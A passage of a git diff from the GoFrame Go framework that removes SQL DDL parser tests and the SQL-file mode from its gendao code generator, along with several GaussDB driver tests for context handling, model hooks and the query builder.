if i+1 < len(upperWords) && upperWords[i+1] == "KEY" {
field.Key = "PRI"
field.Null = false
i++
if i+1 < len(upperWords) && upperWords[i+1] == "AUTOINCREMENT" {
field.Extra = "auto_increment"
i++
}
}
case "AUTOINCREMENT":
field.Extra = "auto_increment"
case "UNIQUE":
if field.Key == "" {
field.Key = "UNI"
}
case "DEFAULT":
if i+1 < len(words) {
defaultVal, _ := extractDefaultValue("DEFAULT " + strings.Join(words[i+1:], " "))
field.Default = defaultVal
if defaultVal != nil {
i++
}
}
}
}
}

View File

@ -1,112 +0,0 @@
// Copyright GoFrame gf Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package gendao
import (
"testing"
"github.com/gogf/gf/v2/database/gdb"
"github.com/gogf/gf/v2/test/gtest"
)
func Test_SQLite_CreateTable_Basic(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
parser := &SQLiteParser{}
sql := `
CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
name TEXT NOT NULL,
email TEXT,
age INTEGER DEFAULT 0,
score REAL DEFAULT 0.0,
is_active BOOLEAN NOT NULL DEFAULT 1
);
`
tables := make(map[string]map[string]*gdb.TableField)
err := processSQL(parser, sql, tables)
t.AssertNil(err)
fields := tables["users"]
t.Assert(len(fields), 6)
t.Assert(fields["id"].Key, "PRI")
t.Assert(fields["id"].Extra, "auto_increment")
t.Assert(fields["id"].Null, false)
t.Assert(fields["name"].Null, false)
t.Assert(fields["email"].Null, true)
t.Assert(fields["age"].Default, "0")
})
}
func Test_SQLite_AlterTable_AddColumn(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
parser := &SQLiteParser{}
sql := `
CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
name TEXT NOT NULL
);
ALTER TABLE users ADD COLUMN email TEXT;
ALTER TABLE users ADD COLUMN phone TEXT DEFAULT '';
`
tables := make(map[string]map[string]*gdb.TableField)
err := processSQL(parser, sql, tables)
t.AssertNil(err)
fields := tables["users"]
t.Assert(len(fields), 4)
t.Assert(fields["email"].Name, "email")
t.Assert(fields["phone"].Name, "phone")
})
}
func Test_SQLite_AlterTable_DropColumn(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
parser := &SQLiteParser{}
sql := `
CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
name TEXT NOT NULL,
old_col TEXT,
email TEXT
);
ALTER TABLE users DROP COLUMN old_col;
`
tables := make(map[string]map[string]*gdb.TableField)
err := processSQL(parser, sql, tables)
t.AssertNil(err)
fields := tables["users"]
t.Assert(len(fields), 3)
_, ok := fields["old_col"]
t.Assert(ok, false)
t.Assert(fields["name"].Name, "name")
t.Assert(fields["email"].Name, "email")
})
}
func Test_SQLite_RenameColumn(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
parser := &SQLiteParser{}
sql := `
CREATE TABLE users (
id INTEGER PRIMARY KEY,
old_name TEXT NOT NULL
);
ALTER TABLE users RENAME COLUMN old_name TO new_name;
`
tables := make(map[string]map[string]*gdb.TableField)
err := processSQL(parser, sql, tables)
t.AssertNil(err)
fields := tables["users"]
_, ok := fields["old_name"]
t.Assert(ok, false)
t.Assert(fields["new_name"].Name, "new_name")
})
}

View File

@ -1,302 +0,0 @@
// Copyright GoFrame gf Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package gendao
import (
"testing"
"github.com/gogf/gf/v2/database/gdb"
"github.com/gogf/gf/v2/test/gtest"
)
// ===========================
// Common parser utilities tests
// ===========================
func Test_splitSQLStatements(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
stmts := splitSQLStatements("CREATE TABLE t1 (id INT); ALTER TABLE t1 ADD COLUMN name VARCHAR(100);")
t.Assert(len(stmts), 2)
t.AssertIN("CREATE TABLE t1 (id INT)", stmts)
})
}
func Test_splitSQLStatements_WithComments(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
sql := `
-- This is a comment
CREATE TABLE t1 (id INT);
/* Block comment */
ALTER TABLE t1 ADD COLUMN name VARCHAR(100);
`
stmts := splitSQLStatements(sql)
t.Assert(len(stmts), 2)
})
}
func Test_splitSQLStatements_WithQuotedSemicolon(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
sql := `CREATE TABLE t1 (id INT, name VARCHAR(100) DEFAULT 'a;b');`
stmts := splitSQLStatements(sql)
t.Assert(len(stmts), 1)
})
}
func Test_classifyStatement(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
t.Assert(classifyStatement("CREATE TABLE users (id INT)"), SQLStatementCreateTable)
t.Assert(classifyStatement("CREATE TEMPORARY TABLE tmp (id INT)"), SQLStatementCreateTable)
t.Assert(classifyStatement("ALTER TABLE users ADD COLUMN email VARCHAR(100)"), SQLStatementAlterTable)
t.Assert(classifyStatement("ALTER TABLE users RENAME TO customers"), SQLStatementRenameTable)
t.Assert(classifyStatement("DROP TABLE IF EXISTS users"), SQLStatementDropTable)
t.Assert(classifyStatement("RENAME TABLE old_name TO new_name"), SQLStatementRenameTable)
t.Assert(classifyStatement("COMMENT ON COLUMN users.name IS 'User name'"), SQLStatementComment)
t.Assert(classifyStatement("SELECT * FROM users"), SQLStatementUnknown)
t.Assert(classifyStatement("INSERT INTO users VALUES (1)"), SQLStatementUnknown)
})
}
func Test_unquoteIdentifier(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
t.Assert(unquoteIdentifier("`users`"), "users")
t.Assert(unquoteIdentifier(`"users"`), "users")
t.Assert(unquoteIdentifier("[users]"), "users")
t.Assert(unquoteIdentifier("users"), "users")
})
}
func Test_extractTableName(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
t.Assert(extractTableName("CREATE TABLE users"), "users")
t.Assert(extractTableName("CREATE TABLE IF NOT EXISTS users"), "users")
t.Assert(extractTableName("CREATE TABLE `users`"), "users")
t.Assert(extractTableName("CREATE TABLE mydb.users"), "users")
t.Assert(extractTableName("CREATE TEMPORARY TABLE temp_users"), "temp_users")
})
}
func Test_applyDropTable(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
tables := map[string]map[string]*gdb.TableField{
"users": {},
"logs": {},
}
applyDropTable("DROP TABLE IF EXISTS users", tables)
t.Assert(len(tables), 1)
_, ok := tables["users"]
t.Assert(ok, false)
})
}
func Test_applyRenameTable_MySQL(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
tables := map[string]map[string]*gdb.TableField{
"old_name": {"id": {Index: 0, Name: "id", Type: "int"}},
}
applyRenameTable("RENAME TABLE old_name TO new_name", tables)
t.Assert(len(tables), 1)
_, ok := tables["new_name"]
t.Assert(ok, true)
})
}
func Test_applyRenameTable_PgSQL(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
tables := map[string]map[string]*gdb.TableField{
"old_name": {"id": {Index: 0, Name: "id", Type: "int"}},
}
applyRenameTable("ALTER TABLE old_name RENAME TO new_name", tables)
t.Assert(len(tables), 1)
_, ok := tables["new_name"]
t.Assert(ok, true)
})
}
// ===========================
// Abnormal/edge-case parsing tests
// ===========================
func Test_processSQL_OnlyDMLStatements(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
parser := &MySQLParser{}
sql := `
INSERT INTO users (id, name) VALUES (1, 'Alice');
INSERT INTO users (id, name) VALUES (2, 'Bob');
DELETE FROM users WHERE id = 1;
UPDATE users SET name = 'Charlie' WHERE id = 2;
SELECT * FROM users;
`
tables := make(map[string]map[string]*gdb.TableField)
err := processSQL(parser, sql, tables)
t.AssertNil(err)
t.Assert(len(tables), 0)
})
}
func Test_processSQL_EmptySQL(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
parser := &MySQLParser{}
tables := make(map[string]map[string]*gdb.TableField)
// Empty string
err := processSQL(parser, "", tables)
t.AssertNil(err)
t.Assert(len(tables), 0)
// Only whitespace and newlines
err = processSQL(parser, " \n\n \t ", tables)
t.AssertNil(err)
t.Assert(len(tables), 0)
})
}
func Test_processSQL_OnlyComments(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
parser := &MySQLParser{}
sql := `
-- This is a line comment
/* This is a block comment */
-- Another comment
`
tables := make(map[string]map[string]*gdb.TableField)
err := processSQL(parser, sql, tables)
t.AssertNil(err)
t.Assert(len(tables), 0)
})
}
func Test_processSQL_AlterNonExistentTable(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
parser := &MySQLParser{}
sql := `
ALTER TABLE non_existent ADD COLUMN email VARCHAR(200);
ALTER TABLE non_existent DROP COLUMN name;
ALTER TABLE non_existent MODIFY COLUMN name VARCHAR(200);
`
tables := make(map[string]map[string]*gdb.TableField)
err := processSQL(parser, sql, tables)
t.AssertNil(err)
t.Assert(len(tables), 0)
})
}
func Test_processSQL_DropNonExistentTable(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
parser := &MySQLParser{}
sql := `DROP TABLE IF EXISTS non_existent;`
tables := make(map[string]map[string]*gdb.TableField)
err := processSQL(parser, sql, tables)
t.AssertNil(err)
t.Assert(len(tables), 0)
})
}
func Test_processSQL_MixedDDLAndDML(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
parser := &MySQLParser{}
sql := `
INSERT INTO logs (msg) VALUES ('starting migration');
CREATE TABLE users (
id INT NOT NULL AUTO_INCREMENT,
name VARCHAR(100) NOT NULL,
PRIMARY KEY (id)
);
INSERT INTO users (name) VALUES ('Alice');
ALTER TABLE users ADD COLUMN email VARCHAR(200);
UPDATE users SET email = 'alice@example.com' WHERE id = 1;
DELETE FROM logs WHERE msg = 'starting migration';
`
tables := make(map[string]map[string]*gdb.TableField)
err := processSQL(parser, sql, tables)
t.AssertNil(err)
// Only DDL statements should be processed; DML should be skipped.
t.Assert(len(tables), 1)
fields := tables["users"]
t.Assert(len(fields), 3)
t.Assert(fields["id"].Key, "PRI")
t.Assert(fields["email"].Name, "email")
})
}
func Test_processSQL_CommentOnNonExistentTable(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
parser := &PgSQLParser{}
sql := `COMMENT ON COLUMN non_existent.col1 IS 'some comment';`
tables := make(map[string]map[string]*gdb.TableField)
err := processSQL(parser, sql, tables)
t.AssertNil(err)
t.Assert(len(tables), 0)
})
}
func Test_processSQL_RenameNonExistentTable(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
parser := &MySQLParser{}
sql := `RENAME TABLE non_existent TO new_name;`
tables := make(map[string]map[string]*gdb.TableField)
err := processSQL(parser, sql, tables)
t.AssertNil(err)
t.Assert(len(tables), 0)
})
}
func Test_processSQL_DropColumnFromNonExistentTable(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
parser := &MySQLParser{}
sql := `
CREATE TABLE users (id INT, name VARCHAR(100), PRIMARY KEY (id));
ALTER TABLE orders DROP COLUMN status;
`
tables := make(map[string]map[string]*gdb.TableField)
err := processSQL(parser, sql, tables)
t.AssertNil(err)
// users table should still exist, orders ALTER should be silently ignored.
t.Assert(len(tables), 1)
t.Assert(len(tables["users"]), 2)
})
}
// ===========================
// CheckLocalTypeForFieldType Tests
// ===========================
func Test_CheckLocalTypeForFieldType(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
tests := []struct {
fieldType string
expected string
}{
{"int(10)", "int"},
{"int(10) unsigned", "uint"},
{"bigint(20)", "int64"},
{"bigint(20) unsigned", "uint64"},
{"tinyint(1)", "int"},
{"varchar(100)", "string"},
{"text", "string"},
{"datetime", "datetime"},
{"timestamp", "datetime"},
{"timestamptz", "datetime"},
{"date", "date"},
{"time", "time"},
{"json", "json"},
{"jsonb", "jsonb"},
{"float", "float64"},
{"double", "float64"},
{"decimal(10,2)", "string"},
{"bool", "bool"},
{"boolean", "bool"},
{"blob", "[]byte"},
{"binary(16)", "[]byte"},
{"bit(1)", "bool"},
}
for _, tt := range tests {
localType, err := gdb.CheckLocalTypeForFieldType(tt.fieldType)
t.AssertNil(err)
t.Assert(string(localType), tt.expected)
}
})
}

View File

@ -20,20 +20,14 @@ import (
"github.com/gogf/gf/v2/text/gstr"
)
// generateStructDefinitionInput holds parameters for generating a Go struct definition
// from database table fields.
type generateStructDefinitionInput struct {
CGenDaoInternalInput
TableName string // Original database table name.
StructName string // Go struct name (CamelCase of table name).
FieldMap map[string]*gdb.TableField // Map of column name to field metadata.
IsDo bool // Whether generating a DO struct (uses g.Meta orm tag).
TableName string // Table name.
StructName string // Struct name.
FieldMap map[string]*gdb.TableField // Table field map.
IsDo bool // Is generating DTO struct.
}
// generateStructDefinition generates a complete Go struct definition string from table fields.
// It returns the struct source code and a list of additional import paths needed
// by custom type mappings. The fields are rendered in a table-aligned format
// using tablewriter for consistent code formatting.
func generateStructDefinition(ctx context.Context, in generateStructDefinitionInput) (string, []string) {
var appendImports []string
buffer := bytes.NewBuffer(nil)
@ -65,10 +59,6 @@ func generateStructDefinition(ctx context.Context, in generateStructDefinitionIn
return buffer.String(), appendImports
}
// getTypeMappingInfo looks up a database field type in the type mapping configuration.
// It handles exact matches first, then tries to extract the base type name from
// parameterized types like "varchar(255)" or "numeric(10,2) unsigned".
// Returns the mapped Go type name and its import path (if any).
func getTypeMappingInfo(
ctx context.Context, fieldType string, inTypeMapping map[DBFieldTypeName]CustomAttributeType,
) (typeNameStr, importStr string) {
@ -115,17 +105,9 @@ func generateStructFieldDefinition(
}
if localTypeNameStr == "" {
if in.DB != nil {
localTypeName, err = in.DB.CheckLocalTypeForField(ctx, field.Type, nil)
if err != nil {
panic(err)
}
} else {
// SQL file mode: use standalone type checking without database connection.
localTypeName, err = gdb.CheckLocalTypeForFieldType(field.Type)
if err != nil {
panic(err)
}
localTypeName, err = in.DB.CheckLocalTypeForField(ctx, field.Type, nil)
if err != nil {
panic(err)
}
localTypeNameStr = string(localTypeName)
switch localTypeName {
@ -199,12 +181,11 @@ func generateStructFieldDefinition(
return attrLines, appendImport
}
// FieldNameCase defines the naming convention for converting field names to Go identifiers.
type FieldNameCase string
const (
FieldNameCaseCamel FieldNameCase = "CaseCamel" // PascalCase: "user_name" -> "UserName"
FieldNameCaseCamelLower FieldNameCase = "CaseCamelLower" // camelCase: "user_name" -> "userName"
FieldNameCaseCamel FieldNameCase = "CaseCamel"
FieldNameCaseCamelLower FieldNameCase = "CaseCamelLower"
)
// formatFieldName formats and returns a new field name that is used for golang codes generating.

View File

@ -62,7 +62,7 @@ type generateTableSingleInput struct {
// generateTableSingle generates dao files for a single table.
func generateTableSingle(ctx context.Context, in generateTableSingleInput) {
// Generating table data preparing.
fieldMap, err := getTableFields(ctx, in.CGenDaoInternalInput, in.TableName)
fieldMap, err := in.DB.TableFields(ctx, in.TableName)
if err != nil {
mlog.Fatalf(`fetching tables fields failed for table "%s": %+v`, in.TableName, err)
}

View File

@ -74,8 +74,6 @@ CONFIGURATION SUPPORT
CGenDaoBriefTypeMapping = `custom local type mapping for generated struct attributes relevant to fields of table`
CGenDaoBriefFieldMapping = `custom local type mapping for generated struct attributes relevant to specific fields of table`
CGenDaoBriefShardingPattern = `sharding pattern for table name, e.g. "users_?" will be replace tables "users_001,users_002,..." to "users" dao`
CGenDaoBriefSqlDir = `directory path of SQL DDL files for generating dao/do/entity without database connection`
CGenDaoBriefSqlType = `SQL dialect type when using sqlDir, options: mysql|pgsql|mssql|oracle|sqlite, default is "mysql"`
CGenDaoBriefGroup = `
specifying the configuration group name of database for generated ORM instance,
it's not necessary and the default value is "default"
@ -97,23 +95,21 @@ generated json tag case for model struct, cases are as follows:
CGenDaoBriefTplDaoDoPathPath = `template file path for dao do file`
CGenDaoBriefTplDaoEntityPath = `template file path for dao entity file`
// Template variable names used by gview for rendering Go file templates.
// These are passed to tplView.Assigns() and referenced in template files.
tplVarTableName = `TplTableName` // Original database table name.
tplVarTableNameCamelCase = `TplTableNameCamelCase` // PascalCase table name (e.g., "UserDetail").
tplVarTableNameCamelLowerCase = `TplTableNameCamelLowerCase` // camelCase table name (e.g., "userDetail").
tplVarTableSharding = `TplTableSharding` // Boolean: whether this is a sharding table.
tplVarTableShardingPrefix = `TplTableShardingPrefix` // Sharding table name prefix (e.g., "user_").
tplVarTableFields = `TplTableFields` // Generated table field definitions.
tplVarPackageImports = `TplPackageImports` // Generated import block string.
tplVarImportPrefix = `TplImportPrefix` // Go import path prefix for internal dao package.
tplVarStructDefine = `TplStructDefine` // Generated struct definition string.
tplVarColumnDefine = `TplColumnDefine` // Column struct field definitions for dao internal.
tplVarColumnNames = `TplColumnNames` // Column name-to-string assignments for dao internal.
tplVarGroupName = `TplGroupName` // Database configuration group name.
tplVarDatetimeStr = `TplDatetimeStr` // Current datetime string for file headers.
tplVarCreatedAtDatetimeStr = `TplCreatedAtDatetimeStr` // "Created at <datetime>" string (empty if WithTime is false).
tplVarPackageName = `TplPackageName` // Go package name for the generated file.
tplVarTableName = `TplTableName`
tplVarTableNameCamelCase = `TplTableNameCamelCase`
tplVarTableNameCamelLowerCase = `TplTableNameCamelLowerCase`
tplVarTableSharding = `TplTableSharding`
tplVarTableShardingPrefix = `TplTableShardingPrefix`
tplVarTableFields = `TplTableFields`
tplVarPackageImports = `TplPackageImports`
tplVarImportPrefix = `TplImportPrefix`
tplVarStructDefine = `TplStructDefine`
tplVarColumnDefine = `TplColumnDefine`
tplVarColumnNames = `TplColumnNames`
tplVarGroupName = `TplGroupName`
tplVarDatetimeStr = `TplDatetimeStr`
tplVarCreatedAtDatetimeStr = `TplCreatedAtDatetimeStr`
tplVarPackageName = `TplPackageName`
)
func init() {
@ -149,8 +145,6 @@ func init() {
`CGenDaoBriefTypeMapping`: CGenDaoBriefTypeMapping,
`CGenDaoBriefFieldMapping`: CGenDaoBriefFieldMapping,
`CGenDaoBriefShardingPattern`: CGenDaoBriefShardingPattern,
`CGenDaoBriefSqlDir`: CGenDaoBriefSqlDir,
`CGenDaoBriefSqlType`: CGenDaoBriefSqlType,
`CGenDaoBriefGroup`: CGenDaoBriefGroup,
`CGenDaoBriefJsonCase`: CGenDaoBriefJsonCase,
`CGenDaoBriefTplDaoIndexPath`: CGenDaoBriefTplDaoIndexPath,

View File

@ -1,102 +0,0 @@
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package gaussdb_test
import (
"context"
"testing"
"time"
"github.com/gogf/gf/v2/database/gdb"
"github.com/gogf/gf/v2/os/glog"
"github.com/gogf/gf/v2/test/gtest"
)
func Test_Ctx(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
db, err := gdb.Instance()
t.AssertNil(err)
err1 := db.PingMaster()
err2 := db.PingSlave()
t.Assert(err1, nil)
t.Assert(err2, nil)
newDb := db.Ctx(context.Background())
t.AssertNE(newDb, nil)
})
}
func Test_Ctx_Query(t *testing.T) {
db.GetLogger().(*glog.Logger).SetCtxKeys("SpanId", "TraceId")
gtest.C(t, func(t *gtest.T) {
db.SetDebug(true)
defer db.SetDebug(false)
ctx := context.WithValue(context.Background(), "TraceId", "12345678")
ctx = context.WithValue(ctx, "SpanId", "0.1")
db.Query(ctx, "select 1")
})
gtest.C(t, func(t *gtest.T) {
db.SetDebug(true)
defer db.SetDebug(false)
db.Query(ctx, "select 2")
})
}
func Test_Ctx_Model(t *testing.T) {
table := createInitTable()
defer dropTable(table)
db.GetLogger().(*glog.Logger).SetCtxKeys("SpanId", "TraceId")
gtest.C(t, func(t *gtest.T) {
db.SetDebug(true)
defer db.SetDebug(false)
ctx := context.WithValue(context.Background(), "TraceId", "12345678")
ctx = context.WithValue(ctx, "SpanId", "0.1")
db.Model(table).Ctx(ctx).All()
})
gtest.C(t, func(t *gtest.T) {
db.SetDebug(true)
defer db.SetDebug(false)
db.Model(table).All()
})
}
func Test_Ctx_Transaction(t *testing.T) {
table := createInitTable()
defer dropTable(table)
db.GetLogger().(*glog.Logger).SetCtxKeys("SpanId", "TraceId")
gtest.C(t, func(t *gtest.T) {
db.SetDebug(true)
defer db.SetDebug(false)
ctx := context.WithValue(context.Background(), "TraceId", "tx_trace_123")
ctx = context.WithValue(ctx, "SpanId", "0.2")
err := db.Transaction(ctx, func(ctx context.Context, tx gdb.TX) error {
_, err := tx.Model(table).Ctx(ctx).Where("id", 1).One()
return err
})
t.AssertNil(err)
})
}
func Test_Ctx_Timeout(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
ctx, cancel := context.WithTimeout(context.Background(), time.Millisecond*10)
defer cancel()
// Wait for the context to expire
time.Sleep(time.Millisecond * 50)
// Query with expired context should return error
_, err := db.Model(table).Ctx(ctx).All()
t.AssertNE(err, nil)
})
}

View File

@ -1,216 +0,0 @@
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package gaussdb_test
import (
"context"
"database/sql"
"fmt"
"testing"
"github.com/gogf/gf/v2/container/gvar"
"github.com/gogf/gf/v2/database/gdb"
"github.com/gogf/gf/v2/errors/gerror"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/test/gtest"
)
func Test_Model_Hook_Select(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
m := db.Model(table).Hook(gdb.HookHandler{
Select: func(ctx context.Context, in *gdb.HookSelectInput) (result gdb.Result, err error) {
result, err = in.Next(ctx)
if err != nil {
return
}
for i, record := range result {
record["test"] = gvar.New(100 + record["id"].Int())
result[i] = record
}
return
},
})
all, err := m.Where("id > ?", 6).OrderAsc("id").All()
t.AssertNil(err)
t.Assert(len(all), 4)
t.Assert(all[0]["id"].Int(), 7)
t.Assert(all[0]["test"].Int(), 107)
t.Assert(all[1]["test"].Int(), 108)
t.Assert(all[2]["test"].Int(), 109)
t.Assert(all[3]["test"].Int(), 110)
})
}
func Test_Model_Hook_Insert(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
m := db.Model(table).Hook(gdb.HookHandler{
Insert: func(ctx context.Context, in *gdb.HookInsertInput) (result sql.Result, err error) {
for i, item := range in.Data {
item["passport"] = fmt.Sprintf(`test_port_%d`, item["id"])
item["nickname"] = fmt.Sprintf(`test_name_%d`, item["id"])
item["password"] = fmt.Sprintf(`test_pass_%d`, item["id"])
item["create_time"] = CreateTime
in.Data[i] = item
}
return in.Next(ctx)
},
})
_, err := m.Insert(g.Map{
"id": 1,
"nickname": "name_1",
})
t.AssertNil(err)
one, err := m.One()
t.AssertNil(err)
t.Assert(one["id"].Int(), 1)
t.Assert(one["passport"], `test_port_1`)
t.Assert(one["nickname"], `test_name_1`)
})
}
func Test_Model_Hook_Update(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
m := db.Model(table).Hook(gdb.HookHandler{
Update: func(ctx context.Context, in *gdb.HookUpdateInput) (result sql.Result, err error) {
switch value := in.Data.(type) {
case gdb.List:
for i, data := range value {
data["passport"] = `port`
data["nickname"] = `name`
value[i] = data
}
in.Data = value
case gdb.Map:
value["passport"] = `port`
value["nickname"] = `name`
in.Data = value
}
return in.Next(ctx)
},
})
_, err := m.Data(g.Map{
"nickname": "name_1",
}).WherePri(1).Update()
t.AssertNil(err)
one, err := m.One()
t.AssertNil(err)
t.Assert(one["id"].Int(), 1)
t.Assert(one["passport"], `port`)
t.Assert(one["nickname"], `name`)
})
}
func Test_Model_Hook_Delete(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
m := db.Model(table).Hook(gdb.HookHandler{
Delete: func(ctx context.Context, in *gdb.HookDeleteInput) (result sql.Result, err error) {
return db.Model(table).Data(g.Map{
"nickname": `deleted`,
}).Where(in.Condition).Update()
},
})
_, err := m.Where("1=1").Delete()
t.AssertNil(err)
all, err := m.All()
t.AssertNil(err)
for _, item := range all {
t.Assert(item["nickname"].String(), `deleted`)
}
})
}
func Test_Model_Hook_Select_Count(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
m := db.Model(table).Hook(gdb.HookHandler{
Select: func(ctx context.Context, in *gdb.HookSelectInput) (result gdb.Result, err error) {
result, err = in.Next(ctx)
if err != nil {
return
}
// Adding extra fields should not affect Count operations
for i, record := range result {
record["extra"] = gvar.New("extra_value")
result[i] = record
}
return
},
})
count, err := m.Count()
t.AssertNil(err)
t.Assert(count, TableSize)
})
}
func Test_Model_Hook_Chain(t *testing.T) {
table := createInitTable()
defer dropTable(table)
// Normal chain: two hooks both modify data
gtest.C(t, func(t *gtest.T) {
m := db.Model(table).Hook(gdb.HookHandler{
Select: func(ctx context.Context, in *gdb.HookSelectInput) (result gdb.Result, err error) {
result, err = in.Next(ctx)
if err != nil {
return
}
for i, record := range result {
record["hook1"] = gvar.New("value1")
result[i] = record
}
return
},
}).Hook(gdb.HookHandler{
Select: func(ctx context.Context, in *gdb.HookSelectInput) (result gdb.Result, err error) {
result, err = in.Next(ctx)
if err != nil {
return
}
for i, record := range result {
record["hook2"] = gvar.New("value2")
result[i] = record
}
return
},
})
all, err := m.Where("id", 1).All()
t.AssertNil(err)
t.Assert(len(all), 1)
t.Assert(all[0]["id"].Int(), 1)
// The last Hook should take effect (Hook replaces previous one)
t.Assert(all[0]["hook2"].String(), "value2")
})
// Error chain: hook returns error
gtest.C(t, func(t *gtest.T) {
m := db.Model(table).Hook(gdb.HookHandler{
Select: func(ctx context.Context, in *gdb.HookSelectInput) (result gdb.Result, err error) {
return nil, gerror.New("hook error")
},
})
_, err := m.Where("id", 1).All()
t.AssertNE(err, nil)
t.Assert(err.Error(), "hook error")
})
}

View File

@ -1,141 +0,0 @@
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package gaussdb_test
import (
"testing"
"github.com/gogf/gf/v2/encoding/gjson"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/os/gtime"
"github.com/gogf/gf/v2/test/gtest"
"github.com/gogf/gf/v2/util/gmeta"
)
func Test_Model_Builder(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
m := db.Model(table)
b := m.Builder()
all, err := m.Where(
b.Where("id", g.Slice{1, 2, 3}).WhereOr("id", g.Slice{4, 5, 6}),
).All()
t.AssertNil(err)
t.Assert(len(all), 6)
})
// Where And
gtest.C(t, func(t *gtest.T) {
m := db.Model(table)
b := m.Builder()
all, err := m.Where(
b.Where("id", g.Slice{1, 2, 3}).WhereOr("id", g.Slice{4, 5, 6}),
).Where(
b.Where("id", g.Slice{2, 3}).WhereOr("id", g.Slice{5, 6}),
).Where(
b.Where("id", g.Slice{3}).Where("id", g.Slice{1, 2, 3}),
).All()
t.AssertNil(err)
t.Assert(len(all), 1)
})
// Where Or
gtest.C(t, func(t *gtest.T) {
m := db.Model(table)
b := m.Builder()
all, err := m.WhereOr(
b.Where("id", g.Slice{1, 2, 3}).WhereOr("id", g.Slice{4, 5, 6}),
).WhereOr(
b.Where("id", g.Slice{2, 3}).WhereOr("id", g.Slice{5, 6}),
).WhereOr(
b.Where("id", g.Slice{3}).Where("id", g.Slice{1, 2, 3}),
).All()
t.AssertNil(err)
t.Assert(len(all), 6)
})
// Where with struct which has a field type of *gtime.Time
gtest.C(t, func(t *gtest.T) {
m := db.Model(table)
b := m.Builder()
type Query struct {
Id any
Nickname *gtime.Time
}
where, args := b.Where(&Query{Id: 1}).Build()
t.Assert(where, `"id"=? AND "nickname" IS NULL`)
t.Assert(args, []any{1})
})
// Where with struct which has a field type of *gjson.Json
gtest.C(t, func(t *gtest.T) {
m := db.Model(table)
b := m.Builder()
type Query struct {
Id any
Nickname *gjson.Json
}
where, args := b.Where(&Query{Id: 1}).Build()
t.Assert(where, `"id"=? AND "nickname" IS NULL`)
t.Assert(args, []any{1})
})
// Where with do struct which has a field type of *gtime.Time and generated by gf cli
gtest.C(t, func(t *gtest.T) {
m := db.Model(table)
b := m.Builder()
type Query struct {
gmeta.Meta `orm:"do:true"`
Id any
Nickname *gtime.Time
}
where, args := b.Where(&Query{Id: 1}).Build()
t.Assert(where, `"id"=?`)
t.Assert(args, []any{1})
})
// Where with do struct which has a field type of *gjson.Json and generated by gf cli
gtest.C(t, func(t *gtest.T) {
m := db.Model(table)
b := m.Builder()
type Query struct {
gmeta.Meta `orm:"do:true"`
Id any
Nickname *gjson.Json
}
where, args := b.Where(&Query{Id: 1}).Build()
t.Assert(where, `"id"=?`)
t.Assert(args, []any{1})
})
}
func Test_Safe_Builder(t *testing.T) {
// test whether m.Builder() is chain safe
gtest.C(t, func(t *gtest.T) {
b := db.Model().Builder()
b.Where("id", 1)
_, args := b.Build()
t.AssertNil(args)
b = b.Where("id", 1)
_, args = b.Build()
t.Assert(args, g.Slice{1})
})
}

View File

@ -1,410 +0,0 @@
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package gaussdb_test
import (
"fmt"
"testing"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/os/gtime"
"github.com/gogf/gf/v2/test/gtest"
"github.com/gogf/gf/v2/text/gstr"
"github.com/gogf/gf/v2/util/gconv"
)
// createTableDO creates a table with nullable columns (no NOT NULL constraints)
// suitable for DO (Data Object) partial insert tests.
